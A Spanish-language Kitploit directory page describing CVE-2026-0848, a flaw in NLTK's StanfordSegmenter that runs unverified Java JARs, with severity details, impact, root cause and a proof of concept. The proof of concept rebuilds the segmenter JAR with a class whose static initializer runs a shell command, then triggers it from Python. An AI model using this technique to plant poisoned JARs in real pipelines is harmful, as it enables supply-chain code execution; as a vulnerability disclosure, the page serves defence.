Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-0848 — nltk.tokenize.StanfordSegmenter carga dinámicamente archivos Java .jar externos sin verificación ni sandboxing. Si un atacante puede proporcionar o reemplazar el JAR (por ejemplo, una descarga de modelo envenenada, un intercambio de paquete MITM o un envenenamiento de dependencias), se ejecuta bytecode Java arbitrario en el momento de la importación. | Kitploit
Herramientas/GitHubGitHub/hyperps/cve-2026-0848
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónSeguridad de Cadena de SuministroPapers e InvestigaciónAprendizaje y Educación
GitHubhyperps/cve-2026-0848

CVE-2026-0848

Ver Repositorio
12hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

nltk.tokenize.StanfordSegmenter carga dinámicamente archivos Java .jar externos sin verificación ni sandboxing. Si un atacante puede proporcionar o reemplazar el JAR (por ejemplo, una descarga de modelo envenenada, un intercambio de paquete MITM o un envenenamiento de dependencias), se ejecuta bytecode Java arbitrario en el momento de la importación.

Compartir

CVE-2026-0848 — NLTK StanfordSegmenter: Ejecución de código arbitrario mediante carga de JAR no confiable


Descripción general

CampoDetalles
ID CVECVE-2026-0848
Paquetenltk (Natural Language Toolkit)
RegistroPyPI
Versiones afectadas<= 3.9.2
Tipo de vulnerabilidadCWE-20: Validación de entrada incorrecta
Puntuación CVSS10.0 (Crítica)
Vector de ataqueRed
Complejidad del ataqueBaja
Privilegios requeridosNinguno
Interacción del usuarioNinguna
AlcanceCambiado
Impacto de confidencialidadAlto
Impacto de integridadAlto
Impacto de disponibilidadAlto
Reportado el6 de diciembre de 2025
CVE publicadoMarzo de 2026
Respaldado porPalo Alto Networks / Prisma AIRS

Descripción

nltk.tokenize.StanfordSegmenter carga dinámicamente archivos Java .jar externos mediante subprocess sin realizar ninguna verificación de integridad, comprobación de firmas ni sandboxing. La clase acepta parámetros totalmente controlados por el atacante, incluyendo path_to_jar, path_to_model, path_to_dict y java_class, y los pasa directamente a una invocación java -cp.

Si un atacante puede suministrar o reemplazar el archivo JAR — mediante la descarga de un modelo envenenado, un intercambio de paquete man-in-the-middle, envenenamiento de dependencias o un espejo de distribución corrupto — se ejecuta bytecode de Java arbitrario en tiempo de carga de clases mediante el mecanismo de inicializador estático de la JVM. Esto constituye una vulnerabilidad de ejecución remota de código en la cadena de suministro y escapa por completo del runtime de Python.


Componentes afectados

ArchivoLíneasDescripción
nltk/tokenize/stanford_segmenter.pyL53–L118Acepta path_to_jar, path_to_model, path_to_dict y java_class controlados por el atacante sin ninguna validación
nltk/internals.pyL220–L300Ejecuta Java directamente con la ruta JAR y el classpath controlados por el usuario, sin sandboxing ni verificación de sumas de verificación
nltk/internals.pyL109–L152subprocess.Popen() ejecuta Java con entrada de classpath sin validar, lo que permite a la JVM cargar bytecode arbitrario y ejecutar inicializadores estáticos

Vector CVSS

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MétricaValor
Vector de ataqueRed
Complejidad del ataqueBaja
Privilegios requeridosNinguno
Interacción del usuarioNinguna
AlcanceCambiado
ConfidencialidadAlta
IntegridadAlta
DisponibilidadAlta

Impacto

Una explotación exitosa otorga al atacante control total del sistema que ejecuta el proceso de segmentación de NLTK:

  • Ejecución de código Java arbitrario — Cualquier bytecode incrustado en el JAR malicioso se ejecuta con los privilegios del proceso Python/Java
  • Escape del runtime de Python — La ejecución se traslada a la JVM, eludiendo por completo el sandboxing a nivel de Python
  • Ejecución de comandos a nivel de SO — Los atacantes pueden invocar Runtime.getRuntime().exec() o ProcessBuilder para ejecutar comandos shell arbitrarios
  • Robo y modificación de datos — Acceso a todos los archivos, variables de entorno, claves API y secretos legibles por el proceso
  • Compromiso total del entorno — En CI/CD, pipelines de NLP en producción o entornos de servidor, un único JAR malicioso conduce a la toma completa del host

Escenarios de implementación de alto riesgo

EscenarioImpacto
Un investigador de ML carga un segmentador preentrenado desde internetEl atacante remoto obtiene ejecución de código
Una organización descarga un ZIP de modelo de segmentación chino corruptoEl malware se ejecuta dentro del pipeline de NLP en producción
El servidor de CI/CD instala el modelo mediante wget/unzip desde un espejo no HTTPSCompromiso total del entorno
Toma de control de dependencias o espejo de distribución envenenadoRCE completa en la cadena de suministro

Esta vulnerabilidad afecta a cualquier flujo de trabajo de NLP que utilice StanfordSegmenter, incluidos chatbots, pipelines de preprocesamiento de LLM, segmentación de conjuntos de datos, clasificación de documentos y servicios de inferencia en producción.


Prueba de concepto

Esta información se proporciona únicamente con fines educativos y defensivos. No pruebe contra sistemas que no le pertenezcan o para los que no tenga autorización explícita.

Paso 1 — Reemplazar el clasificador principal con una clase Java maliciosa

cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class

cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;

public class CRFClassifier {
    static {
        try {
            System.out.println("\nPayload executed — Code ran on class load!\n");
            Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
        } catch(Exception e){}
    }
    public static void main(String[] args){}
}
EOF

javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar

Paso 2 — Construir el JAR malicioso

mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..

Paso 3 — Activar mediante NLTK

# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter

print("[+] Triggering payload via modified Stanford JAR...")

seg = StanfordSegmenter(
    path_to_jar="stanford-segmenter.jar",
    path_to_sihan_corpora_dict="./data/",
    path_to_dict="./data/dict-chris6.ser.gz",
    path_to_model="./data/pku.gz",
    java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
    encoding="utf-8"
)

print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))

Salida:

[+] Triggering payload via modified Stanford JAR...

Payload executed — Code ran on class load!

[+] Running segmentation...
我 爱 自然语言 处理

Confirmar RCE:

ls /tmp | grep pwned_hijack
# pwned_hijack

Causa raíz

La vulnerabilidad existe en dos archivos:

stanford_segmenter.py — El constructor de la clase StanfordSegmenter acepta path_to_jar, path_to_model, path_to_dict y java_class como argumentos de cadena simples y los reenvía directamente a la capa de ejecución de Java sin realizar ninguna de las siguientes acciones:

  • Lista blanca de rutas o aplicación de directorios de confianza
  • Verificación SHA-256 o de firma criptográfica del JAR
  • Validación del parámetro java_class contra un conjunto conocido y seguro de nombres de clase
Descargar herramienta